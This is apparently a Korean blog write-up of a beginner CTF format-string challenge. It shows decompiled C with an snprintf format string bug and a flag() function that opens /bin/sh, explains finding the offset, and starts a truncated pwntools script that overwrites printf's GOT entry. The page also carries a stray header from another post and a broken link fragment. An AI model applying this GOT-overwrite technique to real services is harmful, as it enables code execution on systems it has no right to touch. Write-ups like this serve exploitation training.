2021-09-09 · 2분
[시스템해킹] GrabCON can you? write up
그다음 문제~! 문제 파일 이름은 cancancan이었습니다.
2021-09-09 · 1분
이 글은 작성된 지 2년이 넘었어요. 내용이 오래됐을 수 있어요.
https://ctf.j0n9hyun.xyz/challenges#Basic_FSB
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
int vuln()
{
char s[1024]; // [esp+0h] [ebp-808h] BYREF
char format[1032]; // [esp+400h] [ebp-408h] BYREF
printf("input : ");
fgets(s, 1024, stdin);
snprintf(format, 0x400u, s);
return printf(format);
}
int flag()
{
puts("EN)you have successfully modified the value :)");
puts(aKr);
return system("/bin/sh");
}
vuln함수 snprintf(format, 0x400, s); 에서 FSB가 터집니다. 실제 파일을 실행해 확인해 봅시다.
!> ****](https://nabomhalang.tistory.com/entry/시스템해킹-FSBFormat-String-Bug-이란)
offset 2 바로 2번째에서 0x41414141이 나오는 것을 확인할 수 있습니다. 즉 offset : 2가 됩니다. 그 이후 함수를 덮는 것은 아무거나 해도 되긴 하는데 저는 가장 빠른 printf를 flag로 덮겠습니다. 코드는 아래와 같습니다. 소스코드 더보기 ```python from pwn import * p = remote('ctf.j0n9hyun.xyz', 3002) e = ELF("./basic_fsb") printf = e.got['printf'] flag = e.symbols['flag'] print(hex — nabomhalang.tistory.com
위 링크에서 FSB에 대해 좀 더 자세하게 배우실 수 있습니다.
원문: tistory — 2021-09-09 발행, 이 블로그로 이전됨.
…